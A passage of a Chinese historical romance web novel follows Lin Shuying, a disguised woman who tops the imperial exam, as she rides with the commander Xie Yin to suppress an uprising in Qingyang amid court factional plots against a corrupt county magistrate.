但紧接着又有急报传来,说庆阳发了暴动,百姓们纷纷入了山做起了匪寇,田地荒芜不说,地方官兵镇压却遭受重创,两封急报隔了不到三日。
“事到如今,只能先押运粮食,派遣武将前去说服山上百姓,安稳下他们再说。”陆德静站出来。
他两袖清风,是朝堂上不少寒门子弟的风向标,见他站出来,那些人也不与士族吵了,纷纷应和。
“爱卿说的是,如今武将稀缺,朕要派谁去呢?”皇帝揉揉眉心,开口道。
“庆阳之时事恐有些怪异,微臣以为镇压匪寇一事还是交给楚将军好。”陆德静躬身道。
“朕知晓爱卿所念,朝中武将虽少,也不至于把楚将军从边关调走,不过区区农民暴动,有何可惧。”皇帝衣袖一挥。
大夏朝中当真没什么可用的武将,不是虚职,就是士族把握权力的棋子,农民暴动可大可小,陆德静不想事态发展到不可控的地步。
本只有洪灾,户部拨款送赈灾粮,工部派人好生帮百姓盖起房屋即可,也不会引发暴动,想来定是有人贪心不足,连赈灾粮都克扣了。
陆德静正要开口,却被打断,“皇上,不如让谢总督去,谢总督在京城禁军里的威名可是不小。”户部尚书魏丹清站出来。
“这…”皇帝一时不知该如何说。
边关将领轻易是不能调遣的,而谢寅又是他最后的倚仗,是他能与虎视眈眈的士族制衡的倚靠,若是此去…
“皇上,臣只率外城千骑,带一参谋便可。”谢寅知晓皇帝的疑虑,主动请缨。
大夏能用的武将虽少,但京城足有十万人,皇帝胆小怯懦,生怕被士族们推下台,故而皇城驻扎的军队最多,戒备森严。
“那你要谁做你的谋士啊?”皇帝很满意谢寅递给他的台阶,面上也轻快了不少。
底下的大臣你看看我,我看看你,各怀心思。
还没等大臣们开口,皇帝一拍脑门,站起来,就要宣林疏影三人觐见。“朕怎么忘了,状元郎还在呢,快让状元郎进来。”
众百官的目光聚焦在太和殿外候着的三人。
林疏影越过百官,不卑不亢,仰着头看着高坐在皇位上的那人。
“寒窗苦读,终及第状元,你受了不少苦吧。”皇帝关切问道。
“无碍,能为大夏读书,是疏影的荣幸。”林疏影在殿外察觉到了朝堂之上的暗流涌动,面上仍镇定。
“这就好,这就好,朕授你为翰林侍读,此次谢总督平定庆阳暴动,你随军做参谋可好?”皇帝拍着大腿,大笑起来。
林疏影闻言马上谢恩。
“快快请起,要抓好这个机会,好好成长一番。”皇帝意味深长地看着林疏影。
她起身,扭头看了一眼正经穿着朝服的那人,不免鄙夷,竟然与纨绔一起剿匪。
不过这倒是个好机会,若是能平定,她自然也能升官的,到时候在朝廷站稳了脚跟,也能为查案添了助力。
士族们知晓这状元郎与谢寅不对付,线下自己的人虽没安插进去,可陆德静也没得逞,心里滋味好了许多。
陆德静不想用士族,是怕士族互相包庇,可谢寅是什么人?一个纨绔而已,就算是熟读兵书,不过纸上谈兵,庆阳之事,只要他们捂得好,给这个纨绔些好处,自然不会泄露出来,被人捏了把柄。
谢寅走了,还可以趁机在京城军营里安插自己人。
4. 第 4 章
早朝之后,太阳隐约露出个牙来,晨光熹微,官员们三五成群地散落在太和殿前的层层台阶上。
谢寅抓着玉佩,玉佩上的带子在他修长的手指上转动,通明润泽的玉佩在晨光里发着光。
这玉佩可有一段渊源,在父兄的安排下,他曾拜陆德静为师,而拜师礼就是这枚玉佩。
陆德静初入官场时,儒生的正直让他备受打压挫折,幸而谢家暗中相助,才让他一步步走到这里。
他清风傲骨,始终秉持着儒家的气节,在污秽的朝堂上,也算是一抹明亮的光,正酝酿着劈开腐朽的士族,而身为士族的谢家却与他却不谋而合。
因而谢寅在父兄的安排下拜陆德静为师,习得诗书礼法,兵法律政。
孑然一身行至太和殿阶下的不只他一人,陆德静亦是。
自入朝,他便始终奉行不结党不营私的原则,而那些士族则颇为忌惮这个一心为国的书生,故而一旦有人靠陆德静太近,士族便向那人施压。
他不经意得往后看了眼谢寅,随后低垂下眼皮收回目光。
谢寅随即明白,师父要嘱咐他些事情。
口哨声响起,全然不顾旁人的眼色,他悠闲地迈着步子出宫直奔二人经常见面的地方,京城酒肆。
酒肆的老板徐宝成早年被谢重渡搭救过,因想报答谢家,便开了这家酒肆,做了谢家在京城的暗桩。
徐宝成看见两个熟悉的身影一前一后进了最里间的雅间,还向外张望一番,见没什么可疑的人,便把手上的活计交给一旁的小二,自己去了那雅间门前守着。
“不知师父要嘱咐些什么?”谢寅坐于陆德静对面,为他奉茶,十分恭敬有礼,与先前的纨绔截然不同。
谢寅本不是纨绔的性子,为了引人耳目,这才带上“面具”,纵情享乐。
“你可知庆阳最重要的是什么?”陆德静满意地拿起茶盏,忽然问道。
谢寅思索片刻道,“若是对于那些贪官来说,必然是运河,自开通了运河起,不少商人走水运,不光让庆阳百姓多了活计,还充实了朝廷国库,但眼下,士族觊觎运河已久,只怕…”
陆德静一口饮下那杯茶,茶香在嘴里回荡,“恐怕他们早已染指运河,今日早朝,他们极力阻止楚将军去平定匪患,必然是怕楚将军忠肝义胆,容不得半丝污秽,便举荐了你。”
谢寅回忆着早朝魏、曹、孙三人的话,确实有意为之,不过这次他们的算盘可要落空了。
他们再如何也不会知道,他谢寅能和陆德静这个老家伙扯到一块去吧。
师父原本是想举荐他去庆阳剿匪的,为了不让那些人生疑,这才“舍近求远”,搬出楚将军来。
他又为师父添满了一杯茶,“这次,我必定查出些把柄来,士族如此吞并税银,背后必定有大阴谋。”
“嗯,好,那信鸽你带着,记得将庆阳之事告知我。”陆德静面色苍苍,皱巴的脸上看不出任何表情。
不知从何时起,他面上再也没了年少时意图整顿朝堂的意气,或许是被士族的贪心与朝堂的腐败,甚至于是皇帝的软弱磨灭了吧。
“在林状元的考卷上,我看到了你的影子,如今大夏再难见这般有大刀阔斧的气势的书生,他啊,一定是一块好料子。”陆德静看着腹水满杯的茶盏,怔怔出神。
他曾助力排众议助力先皇革新,可天不遂人愿,变法的第二年,先皇便突然离世。
小皇帝年纪小,事事都要过太后的手,他的变法自然成了空。
之后,他收下了谢寅这个徒弟,便是想要“卷土重来”。
大夏若是不能中兴,那只有走向衰落这一条道路了。
“京城不太平呐,若是他有意中兴大夏,那他就是你的师弟了,听见没有。”
陆大人看着心不在焉的谢寅,就有些气,当年为了教导好这臭小子,他可是废了不少功夫。
直到现在,走神的习惯是一点没改,真是白费了他这心。
谢寅回想着与林疏影的两面之缘,这人读书是块料子,但是不是为官的料子还不一定呢。
况且那个小状元看着瘦瘦弱弱的,也呆板极了,如何能与他一般,哪里是担当大任的样子。
眼见谢寅还没回过神来,陆大人白了那人一眼,使劲咳嗽两声。
“他并未结党于士族,倒是个清醒的人,此次前去,我定竭力拉拢。您是嗓子不舒服?师父,喝茶。”谢寅反应过来,想也没想直接说。
他恭敬地把茶杯满上。
“你这...我让你摸清他的意思,若是他愿意做你师弟,就把玉佩给他,算是见面礼了。”陆大人拿起茶杯,抿了一口便闭眼细细品味,懒得迎谢寅疑惑的眼神。
“不是,这玉佩都几手了?师父,你还想让他作我师弟!”
这个玉佩,就这么珍贵?当传家宝,还是给师兄和师弟传的...
“怎么,你有意见?”陆大人斜睨了那人一眼。
真是惯的这小子,若不是这几年,我的好学生们都被贬离京城,我也不用天天哄着他装那纨绔了。
现在有新的好苗子了,若是能担上这个担子,我也算是后继有人了,不用再指望这个败家徒弟咯。
老头子抿茶,一脸沧桑。
谢寅一眼便知道这老头子什么打算,真是,喜新厌旧。
“哪里敢有意见,就是希望您能赶紧放我回谢府,好让我和我娘一起种花侍草。”谢寅皮笑肉不笑。
两人虽是师生,但却似朋友一般,许是谢寅这拿什么都不当回事的性格惹得,与谁的距离都不太远。
“去去去。”既然吩咐完了,陆德静也不想再受这气,茶还没喝完,就要送客。
“也是,您都要有新徒弟了,马上就不用屈尊喝我奉的茶咯。”谢寅也不自讨没趣,临走还不忘打趣。
他行至门口,手刚扒上门,又收了回来,“师父,你在京城,也要小心些。”
不等陆大人回话,他便夺门而去。
“臭小子,又没行礼,到底谁是谁师父?”陆德静望着腹水满杯的茶盏出神。
你也要平安回来啊。
谢寅晃着玉佩出门,对徐宝成使了个眼色,悠哉悠哉地走了。
*
林疏影下朝,回了城南小院,她简单收拾好包袱,拿上母亲送她的及笄礼——疏影剑。
于这个小院,她并没有太多眷恋,自从母亲走后,她对于家的概念也渐渐淡薄了不少。
次日一早,林疏影整理好,寻了靠在床头的疏影。
剑鞘通体白色,云纹流转,似谪仙之剑一般。她一手握着剑鞘,一手握着剑柄,剑柄绕着粗绳,挂着白色流苏。
闭上眼,拔出剑,似在感受着剑的灵气,剑身轻盈
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,忽而睁开眼,眼眸一亮,只见剑身上刻着两个鎏金的字——疏影。
想起母亲教她使剑,想起与母亲于明月桂花飘飞里舞剑的场景,眼波流转,收回剑,将它放在自己北上的包袱里,便动身前往城门。
母亲,这次我前去剿匪立了功,便能升官,取得皇帝信任,等我有了足够的权力,必定为你翻开朝廷旧案,为你报仇。
时候不早了,她收起剑,瞧了瞧东边的太阳,约莫着时辰,赶往城门。
待林疏影匆忙赶到时,便看见了在城门等候多时的谢寅,鱼鳞甲在晨光下发着光,少年此刻架着马,偏过头看着她。
“让谢总督久等了。”林疏影加快步子,她抬眼看去,看不出那人的喜怒,想起那日的事来,步子迟疑起来,眸里暗了暗。
她那一巴掌有些不近人情了些,不知他是否会计较那一巴掌。
“这匹马归你。”谢寅那剑指着身旁的一匹马道。
为了尽快赶往庆阳,所有人都要骑马的,若是这个书生不会骑,就要拖累他们的路程了。
林疏影忽地怔住,望着马儿出了神。
谢寅正鄙夷,莫不是不会骑马,书生就是难伺候。却见林疏影毫不畏惧地走向马儿,熟练地驯服马儿。
白马嘶鸣一声,前蹄上扬,马背上的鬃毛随着动作飘飞,如丝绸一般柔顺,林疏影观察着,是匹好马。
幼时,她对骑马舞剑之事情颇有兴趣,在大家闺秀们待字闺中绣花抚琴时,她正与马在宽阔的马场上驰骋自由。
故而,她知晓如何驯服马儿,让它认主,她盯着马儿的眼睛,一手握住缰绳,一手欲手抚上马儿的颈部,马儿有些抵触,想往后退,但都被林疏影的力气制住。
她最明白,这时候若是让它退了,之后可就要被谢寅看笑话了。
另一只手找准时机,动作轻柔地抚摸着马儿的颈部,取得了马儿的信任。
“好。”林疏影看着通体白色马儿,虽比不得谢寅的马的高大,却也是劲拔俊美,她摸着马儿的鬃毛,眼里全是喜爱。而后翻身上马,利落干脆,倒是惊了一众士兵。
“那日得罪了谢总督,今日却赏了我匹骏马,谢总督胸襟开阔,是我以小人之心夺君子之腹了。”林疏影坐稳后,转头向谢寅行礼。
从谢寅的角度看,风拨动着林疏影的发丝,白皙的皮肤与马儿相映,别有一番美。
他瞧着林疏影,觉得这身姿颇似女子,大夏不是没有替考出现过。
若他真是女子,该不会骑马,也不会耍刀剑才是,再者女孩儿们谁不喜欢女红、弹琴作画这些文雅的。
谢寅收回目光,故作调侃,“林状元虽家贫,志向却不贫,恐连骑射都日日练习。”
林疏影察觉这人又在试探她身份,面上带着笑,回道,“哪里,不过是家乡人人都会骑马,我在旁观摩学习罢了。”
谢寅的每一次试探都让她提起十足的精力来应付。
见谢寅没再追问,她放下心来,还好没被发现。
一人走到白马跟前,打断了林疏影的思索,“林参谋,您把包袱给我就行了。”
“好,劳烦。”
面对滴水不漏的盘问,谢寅仍旧有些怀疑,但是师父他老人家从巴郡太守那里讨来林疏影身份的证据了。
他也不好再继续这么盘根问底,只能先将疑惑埋进心里。
5. 第 5 章
时辰差不多了,谢寅收回目光,看向庆阳方向。
“出发!”一声令下,少年将军裹着晨光,领着队伍浩浩荡荡地奔往庆阳。
林疏影紧随其后,她回望身后的策马奔腾的队伍,不免感叹,当真声势浩大。
马蹄声与风声呼啸在耳边,林疏影骑了一天的马,腿内侧磨的生疼,马上摇摇晃晃总不舒服。遑论饭食,到了肚子里上上下下,胃气上涌,夹杂着腐熟的味道,让人难受极了。
她看向前方不远处的人,甲胄随着马儿的奔跑发出清脆的声音,如低沉的风铃,那人意气不减,似没有倦意,这人怎的与纨绔不沾边了?
终于行至宽阔平地,谢寅命令士兵安置营帐,修整一晚。
林疏影艰难下马,纵使她练过,也终究比不上天天操练的士兵。
“林参谋,你的包袱,您今晚与总督一个营帐,我带您过去。”葛根对林疏影行礼。
“好,你是谢总督的贴身侍卫?”林疏影接过包袱,与葛根并排走。
“不是,贴身侍卫们都在营帐值守,我就是管些鸡毛蒜皮的小事。”葛根嘿嘿笑着,格外憨厚。
“你觉得总督如何?”林疏影忽然问到。
“赏罚分明,治理有度,对我们也是极好的,过节还给赏赐,给士兵们添衣。”提到谢寅,葛根就神气得很。
“我为何会与总督睡在一个营帐,官职悬殊,恐怕…”林疏影眼波流转,忽然问道。
她心里不免怀疑,难道谢寅真的看出了什么?
“小兄弟不用怕,咱们军队里啊都是好汉,可不像京城里乱嚼舌根的士族公子。况且,总督念在你是书生,与我们这些人不一样,你春夜里不免受了寒,进帐也可避一避风寒。”葛根解释道。
这个人真这么用心?
二人谈了又些趣事,葛根就在做事时,细心极了,就是平日里与人相处太粗枝大叶了些,没察觉出林疏影神情间的异样来。二人不知不觉间到了营帐。
葛根行礼告退。
林疏影借着月光,瞧了瞧两守卫,深吸一口气,进了营帐。
她进了营帐,下意识观察四周,瞥见角落里放甲胄的谢寅,行礼:“总督,为何只有一张床?”
初春之夜,寒气尚未退干净,少年就已经穿上了薄薄的里衣,丝毫不畏寒气。
束起来的头发散乱在肩头,壮实的肌肉在薄薄的单衣下若隐若现,剑眉间全是少年的恣意。
谢寅正褪甲胄,就见林疏影一脸正气地闯进来。
他把甲胄放到一边,抬眸睨着林疏影。
像是听了笑话一般,眸中染上玩味,“行军嘛,自然是越简越好,士兵们是去打仗的,不是去享受的。”
这话噎了一下林疏影,她没计较,“总督一路辛苦,不如,疏影睡地上…”
“不急,你初到京城,又要赶往庆阳。你对庆阳了解多少?”谢寅于简陋的床榻上,支着脑袋,微微一笑。
既然师父看好他,那他能不能成了师弟,还得过了我这一关。
林疏影见换了话题,没再追问,躬身行礼道,“庆阳位于运河与淮水交界处,连通南北东西,地势平坦,若占据了庆阳,便可直入京城,再无阻碍。加之运河繁荣,商人们的税收可占挂国库的一大头。”
她北上京城,途径多地,了解了许多书本上没有的见闻。
谢寅挑眉,“不错,林状元果真名不虚传。不过庆阳几方势力斡旋,看似平静,实则凶险。”
看来,这人不是书呆子;有这样的见识也更不可能是深闺的娇小姐,有点意思...
林疏影眸光一闪,抬眼与谢寅对视,“不知谢总督可否细细说来。”她有些没听懂,小心地试探着谢寅的口风。
“当下朝堂贤士稀少,陆大人看好你,你可是他的香饽饽啊。”谢寅挑逗道。
她不由得眉头一皱,这明显是在说京城士族的手都渗透到了庆阳。
而且士族向来霸道,若是他们得不到的人,必然会想方设法地阻挠那人的晋升,甚至…
想到可能的结果,她就不寒而栗,收回心思,定睛看着谢寅。
眼下,谢寅必然是陆大人的人,那日朝堂,陆大人就算举荐楚将军都不曾举荐他,可见两人表面并不和睦,但这两人背后的关系定然很近。
恐怕连那些士族都瞒过了。
而他又一直与自己透露陆大人的好,明摆着给了她两条路,要么自取灭亡地投靠士族,要么投靠陆大人。
意识到这一点,林疏影不再绕弯子,况且,她担下这行军参谋一职,已经是得罪了士族,她没有别的路可以走了。
她向前躬身行礼道,“我愿意走与陆大人一样的路,食君之禄,忠君之事。”
谢寅勾起一边嘴角,“嗯,不错,倒是懂我的意思。”
“庆阳运河起家,士族势力定盘根错节,与匪寇之事恐有扯不断地联系。”林疏影躬身,开口道。
既然她表明了立场,与谢寅选了同样的道路,正好问一问,没准能问出士族之事。
“士族恐与庆阳县令暗中勾结,又逢洪灾,县令肆意搜刮百姓,逼急了百姓。所谓光脚的不怕穿鞋的,百姓们索性上了山。”谢寅将事件原委道来。
林疏影仔细听着,忽而抬头看见谢寅那双桃花眼,却觉得没那么纨绔了,是她的错觉么?
“盯着我做甚,奔波一日,快些上塌吧。”谢寅勾勾嘴角,意味深长地拍着一边的床榻
他侧身躺在床上靠里的位置,里衣搭在身上,勾勒出宽阔的胸膛。
“果然,狗改不了…”她腹诽道,不过姿色倒是不错,难怪京城贵女都憧憬他。
“不瞒总督,疏影自小睡得不踏实,恐扰了总督美梦。”她收了心思,赶忙回到。
谢寅支着脑袋,全然不知已经被林疏影从头到脚评价了一番,偏过头看着她笑,“我专治睡觉不踏实的。”
站的时间有些长,大腿内侧磨出来的伤隐隐作痛,林疏影面上闪过一丝痛苦。
谢寅却捕捉到了这一丝微弱的情绪,向下看到了那磨损的裤子。
被人欺负不知道说,疼也不会说。
刚才的侃侃而谈与现在的扭捏真是截然相反。
“这是伤着了?”谢寅皱了皱眉,语气全然没了挑逗,甚至有一丝愠怒。
林疏影一怔,“许是疏影学艺不精,这才落下伤来。”
“给,抹在伤口处。”谢寅从怀里拿出一个药瓶,扔给她。
她眼疾手快,接住,仔细看了瓶底的字——金疮药。
“多谢总督抬爱。”她忙行礼。
措不及防的一瓶药又让她看不清谢寅了,许是看在陆大人的面上吧。
“这本是葛总管的活计,你日后磕着碰着了,短什么东西了,尽管去找他。”谢寅摆摆手,眉眼间充斥着慵懒。
“好…”林疏影摩挲着药瓶。
“明日还要赶路,记得灭了蜡烛再上榻。”谢寅伸了伸懒腰,换了平躺的姿势,占据了床榻靠里的位置。
林疏影无言,她垂下眼皮,微微吐出一口气,看着床榻上留出的位置,和背对她的谢寅,心里一阵复杂。
她环视营帐,好在发现了个低矮的凳子,拿了烛台过去,借着蜡黄的微光,简单处理了伤口。
清凉的药膏与皮肤接触,伤口的疼痛再起,她强忍着痛却还是不免发出声来。
“
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嘶-”林疏影眉头紧皱,咬着牙,脑袋偏离伤口好远,仿佛这样就看不见伤口,也就没了疼痛似的。
谢寅侧身躺着,眼眸闭着,“林参谋,日后行军打仗,若是受伤了,可比这个疼多了,你现在回京还来的及。”他调侃道。
“不劳总督费心,疏影心里有数。”林疏影忍着痛,咬牙说出来。
谢寅明摆着是嫌她忍不得痛,嫌她这个书生矫情。
她自小没骑马这么长时间,缺乏经验,马鞍有些硬,加上她穿的衣服不适合骑马,这才别扭了一路,磨了一路的伤。
处理好伤口,她举着烛台,到床榻边,叹了一口气。
自那日与谢寅青娥一别,坊间流传起了“谢寅爱状元郎而不得,得了个巴掌,倒记恨起她来。”
“好吧,那现在她就要与这个记恨她的谢总督同床共枕了。”林疏影腹诽。
把烛台放在床头,慢吞吞地上床,生怕碰着了伤口。
床上那人突然起身,利落地下床。
林疏影看着眼前这一幕,有些没反应过来,这人又要作什么妖?
“本总督心胸宽广,这个帐篷给你了。”谢寅提起衣服,边走边穿。
本就是想要试探这人,但是谢寅心里忽然涌起一阵不舒服,他不是断袖,但眼前的人极可能是个男人。
他难道要沦落到要与一个男人同床共枕的地步了?
为了师父倒还是不至于的,这么想着,他缓缓回头,上下大量了一番林疏影。
没什么破绽。
林疏影看着有些单薄的背影,心跳一滞。
他这是直接把床让给自己了?
不明所以的林疏影吹了蜡烛,营帐漆黑一片。
林疏影是被葛根晃醒的,她眼皮有些沉,酝酿了半天,勉强睁开眼,就被拉着起身。
“稍等,葛总管,稍等我缓缓。”她摆手,昨日的奔波一路的劲还没缓过来,艰难地吐出这句话来。
“好,这是你的衣服,记得换上,一柱香之后启程,今日还有一段路程。”葛根把衣服放在床头,她没听清葛根的话,只顾点头。
她晕晕乎乎地睁开眼,手摸到了衣服,一下子激灵了。
“这是谁准备的?”林疏影心下疑惑,想起事无巨细的葛总管来,心下又一片了然,“定然是葛根细心备的。”
衣服虽还能穿,但却磨损地厉害,她正想再将就一天再找葛根,结果葛根就送来了新衣。
她坐起来,把衣服拿到跟前,心里有些暖。
两人不过是一起走过一段路,没想到葛根竟然观察到了她的衣服的异样,还给她找了新的。
衣服也是刚合身的。
换了衣服,整好包袱,正巧赶上士兵们整装待发,她没拖延,借着一处的土丘小心上马。
谢寅看着林疏影步伐比昨日轻快了不少,嘴角勾起一抹不易察觉的弧度。
“等再行一段路程,就是庆阳地界了,庆阳匪患横生,免不得埋伏,大家谨慎些,有情况随时通报。”谢寅一身甲胄尽显将军风范。
整齐一致的声音震耳欲聋,士气盎然。
队伍急行至庆阳地界,速度慢了不少。
一人架着马从远处奔来,林疏影扯着缰绳,欲往后退,“此人…”
“这是本总督派出的探子,怕什么?”谢寅扯住林疏影马的缰绳,马儿被两人的争夺弄得不知所措,只得嘶叫两声,没动弹。
林疏影定睛看着远处奔来的人,背着光,看清了那人的脸,正是昨日营帐外的其中一个守卫。
“报,总督,前方有流民。”
谢寅黑眸转深,收回手,“是庆阳本地人,还是其他县来逃难的?”
6. 第 6 章
长煊喘匀了气道,“属下听着像当地口音,但流民集聚,恐怕要绕行了。”
“那便绕过去。”谢寅面上没起伏,冷峻得不似平日。
队伍行至庆阳城门,只见城门大开,县令领着一众县官,屁颠颠地迎谢寅,“谢总督舟车劳顿,在下已为你备好了住处,也让兄弟们歇一歇吧。”
沧隅山上匪寇虎视眈眈,庆阳城门就这么大开着。
谢寅皱眉,不悦道,“哪里劳顿,为朝廷解决心腹大患才是当务之急。”说着不忘拱手。
“也是,也是,谢总督您说的在理,咱先进城啊。”冯县令的马屁拍错了地方,仍保持着笑脸。
早听闻这谢总督风流纨绔,这一见,除了那张脸以外,周身的气场完全不一样啊。
“长煊,你配合县官来安排士兵,让他们修整半日。”谢寅下马,把马交给长煊,引着林疏影往里走。
“庆阳县外为何会有流民,县令大人?”谢寅斜睨着县令,面不改色道。
冯县令身形一滞,脸上的谄媚还没消下去,复又正色道,“这…下官不曾知晓,不知总督在哪里看着了流民。”
谢寅扭头看他,眸里透着冷意,“原来大人您也不知道啊,定是有人没做好差事。”谢寅语气玩味,故意帮冯齐推脱。
县令被盯地慌了神,不自觉抹着脸上的汗。
他本想用那流民堵住行军路线,没成想,谢寅半路改道,不仅没拦住,还被当面质问。
一旁的县丞见状,解释道,“庆阳无专司兵马之处,故而请命朝廷支援,巡检司把手县城关隘…”
这县丞本是逃难到此的流民,寄居在县衙,因偶然办事得了冯县令青睐,故而跟在冯县令身边,时长替他出谋划策,这流民便也是他的主意。
耽于享乐,欺压百姓强娶民女,搜刮民脂民膏,冯县令样样得心应手,每每都是唐其昌跟在他屁股后面平民怨,给他铺好路,因而一路升官到了县丞一职。
“对对,我这就吩咐巡检去查看情形。”县令反应过来,忙插嘴。
“好,辛苦大人了,这可得处理好,不然传到京城,可就…”谢寅弯着眉眼看冯齐。
“是我治下不严,如何也不会连累总督,还望总督责罚。”冯齐忙顺着谢寅的话往下说,边说边小心看着谢寅的神情。
冯齐得了当头一棒,试探开口道,“我已为您置办了酒宴,就等着您点头呢。”
谢寅玩味一笑,一下子就添了几分纨绔,“哟,不是庆阳最繁华的酒楼,我可不去。”
冯齐摸对了谢寅的喜好,面上放松许多,“必然是,必然是庆阳最好的酒楼。”
他奉了魏尚书的命令要牵制住谢寅的脚步,专门打探了这人的喜好,摆了一桌酒菜,费尽心思寻遍庆阳,找来各色美人,甚至连小倌都有,就等鱼儿上钩。
冯齐脸上露出一抹得意,点头哈腰道,“总督颠簸了一路,风尘仆仆,我先带总督去县衙修整一番,待您修整好,便让县丞引你来。我先去为您监督饭食。”
“好啊,希望县令不要让我失望~”谢寅看着谄媚的冯齐,意有所指,手里转着玉佩,不着调道。
几人说话间,就到了县衙。
两个房间仅一墙之隔。
“谢总督,我可以进来吗?”林疏影敲响房门。
不管是庆阳县外的流民,还是县令的态度,都明摆着庆阳有问题,谢寅如何能因着一桌子酒菜而误了正事。
没应答,她欲再敲门时,手指扑了空,门突然被从里面打开。她皱了皱眉,迈过门槛,带上房门。
她欲开口,却被一句没头没尾的问题堵住了嘴。
“衣服可还合身?”谢寅引她坐下。
“还好,多亏了葛总管。谢总督的人就是细心。”林疏影看着谢寅皱了皱眉,忙添上了后半句,还特意加重了谢总督三个字。
一阵沉默,林疏影不知自己说错了什么,又觉没做什么惹着了这纨绔。准备开口提起庆阳时又被打断。
敲门声再次响起,林疏影起身前去开门。
原来是葛根,他抱着两个包袱站在门外等谢寅的话。
“总督,这些都是谢夫人为您准备的。”葛根得了许可,拿着两个包袱进来。
谢寅的包袱虽不大,但该有的都有,都是些常用的衣物,可见是有个温柔体贴的母亲。
“嗯,放哪里就行。”谢寅淡淡答道,若有所思。
“正巧,林参谋你也在这里,这是你的包袱。这衣服倒是合身,穿着如何?”葛根递给她包袱。
“还是葛总管体贴,衣服正正好好,穿着也舒服。”林疏影喜笑颜开,刚才眼里的阴霾都散了。
葛根本一脸憨笑,听了这话,脸上的笑僵了一瞬,嘴角很快放下,吞了吞口水,看向谢寅,“这…衣服不是总督给您的吗?”
什么…?林疏影怔愣住,她两次谢错了人,还都当着正主的面…有那么一瞬间,她想钻进石头缝里,再也不出来。
“是属下有眼不识泰山,是我眼拙,糊涂,竟辜负了总督一片心意。”她忙上前认错。
怪不得刚才他不说话了。
可如果是他送的,那他是何时知晓我的裤子…
她下意识摸到了袖子里谢寅给的药,恍然大悟。继而又疑惑起来,谢寅什么时候这么“礼贤下士”了?
林疏影在心里梳理着从京城到庆阳一路上发生的事,总觉得谢寅与传闻中的纨绔越来越远了。
“葛根,你下去吧。”谢寅摆手。
“我看出来了,你对本总督偏见颇深。”谢寅端着茶盏,细细端详上面的纹路。
“总督宅心仁厚,我…”林疏影收回心思,行礼,专门把羞愧而红的脸埋进袖子下面,却露出两个红透的耳朵。
“要问什么快说,等会那姓唐的来催了。”谢寅睨着那人的耳朵,不经意勾起了嘴角,放下茶盏,瓷器与木桌接触一瞬,发出清脆的响声。
林疏影起身,面上的红晕还未褪去,却已正色起来,“这庆阳明显有问题,总督为何要…难道那些流民不管了?
“心急吃不了热豆腐啊,面上不顺了他们的意,暗地里又怎好行动?”谢寅修长的指尖在茶盏上打转。
他觉得这人怪神奇的,怎么一遇到正事,就便聪明了。
难不成,陆老头也是看上了林疏影这一点啊。
林疏影全然不知谢寅是如何编排她的,确是顺着他的话往下走,明白了谢寅的意思。
这人打着纨绔的幌子,实则是要那些人放松警惕,这才好动手。这一招,他早就在京城练得炉火纯青了。
*
庆阳酒楼里,人来人往,座无虚席。
“你们几个,快些动作,耽搁了谢总督的午食,就等着领罚吧!”冯齐指手画脚,唯恐这些人坏了他的计划。
众人再怨,也不敢说出来,只得低头做事。
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阳最繁华的酒楼,自然藏着最烈的酒和最美的人。
运河给庆阳县带来了契机,也吸引了许多商人。
不少商人因着这绝佳的地理位置,在庆阳购置院落。渐渐地,奢靡之风渐显,庆阳酒楼改头换面,却还是“酒楼”二字为名。
商户家里有严妻的,便都把相好送到这里来,借着喝酒的名头私会。可新鲜感一时过去,那些美人失了宠爱,被冷落在酒楼里,只能与掌柜签下卖身契…
故而酒楼最不缺的就是烈酒与美人,不少人醉倒在美人怀里,流连忘返。
冯齐点查着美人,“你们是要伺候京城来的谢总督的,都放聪明点,谁要是得了总督的喜欢,那就可是攀上高枝了。”
无论是或淡妆或浓妆的女子们还是扑脂摸粉的小倌,可都是花了他不少银子。
谢寅,一命抵一命,你杀害我父亲,你该死!
他的父亲为魏尚书办事,不曾想被谢寅捉了去,什么狗屁总督,不过是一个毛头小子,急功近利,动用私刑,活活把他父亲这折磨死了……
父亲总是宠着他的,就连这官位也是父亲为他谋来的。
冯齐咬牙切齿,他等这一刻很久了…
*
县衙内的房里,林疏影与谢寅正小声商量着对策。
“总督,县令备好了酒菜,说您定然不会失望。”唐其昌敲门道。
屋子里二人的小声言语被打断,他们相视一笑,一前一后地出了门,去庆阳酒楼。
一路上,百姓鲜少,街道空旷,洪灾冲来的淤泥早已清除干净,只一个少年模样的人,腰间挂着葫芦,手里拿着铃铛,走一步,摇一下。
林疏影北上一路,见识不少,她一看这人就是悬壶济世的大夫,不过应该不是本地人,按照样貌来说,未免有些太年轻了些。
三人与他擦肩而过,她不着痕迹地扭头看着那人入了座道馆。
她望过去,道馆破败不堪,牌匾歪歪斜斜,上边的蜘蛛网堪堪挂着。
三人一路无言。
与萧条的街道相反的是酒香肆意的酒楼,女人香粉的味道飘至门口,呛得林疏影直咳嗽。
酒楼内载歌载舞,举杯对饮,甚至还有书生对举古今文人雅士的诗词,乱成一片。
林疏影不喜这样嘈杂的地方,她皱了皱眉,捏着鼻子,走在两人身后。
一桌子的酒菜,
“总督大驾光临,我有失远迎,这就赔罪。”冯齐笑着举杯就要喝。
“确实该罚,你给本总督准备了什么,还不拿出来么。”
谢寅眸子暗了暗。
“肯定不会让您失望。”冯齐说完,拍拍手。
雅间门打开,脂粉味儿铺面而来,林疏影皱眉,看着一个接一个的面带娇羞的美人占满雅间。
她的眼睛随着这些人的走动,不禁感叹庆阳县令真是没有让人失望,忽然她眼神一滞。
眼前那人,胸口没有起伏,身形比女子要高,尤其手指骨节分明,也不似女子手的温软,他们随着那些美娇娘进来,突兀极了。
这是小倌吧。林疏影得出来结论,拿起桌上的茶盏就要喝。
临到嘴边,发现是酒,又放下,换了茶。
谢寅难道真是断袖?这个问题与那件衣服一起出现在她脑海里,她打了个寒颤,又很快把那团东西打散,谢寅定然是在拉拢她。
再说,这庆阳县令意图不纯,究竟藏了什么心思。
7. 第 7 章
京城
“大人,当真要弃了庆阳?”暗卫半跪着,行礼。
逼仄狭小的屋子阴暗极了,微弱的烛光忽闪着,起不了作用,暗卫身形不变,恭敬万分。
魏丰华负手立在阴暗处,只能依稀看见背影,“你是在质问本官吗?”
他偏过头,向后瞥着那人,眼里蒙上一层阴冷,在暗里看不清楚。
暗卫看不清那眼神,却觉一股寒气袭来,打了寒颤,“大人饶命,是属下妄加揣测,是…”
“告诉唐其昌,只要冯齐一死,这县令就是他的了。”魏丹清语调暗哑,仿酝酿沉寂了许久。
“这件事我交代他许久了,他可真是耐得住性子,等来了沧隅山的匪寇,这次,若是能借谢寅之手,除去他,是最好的。”说罢,他露出森冷的笑意。
“是。”暗卫得了命令,起身加快脚步,似要逃离这片令人胆寒的阴暗一般。
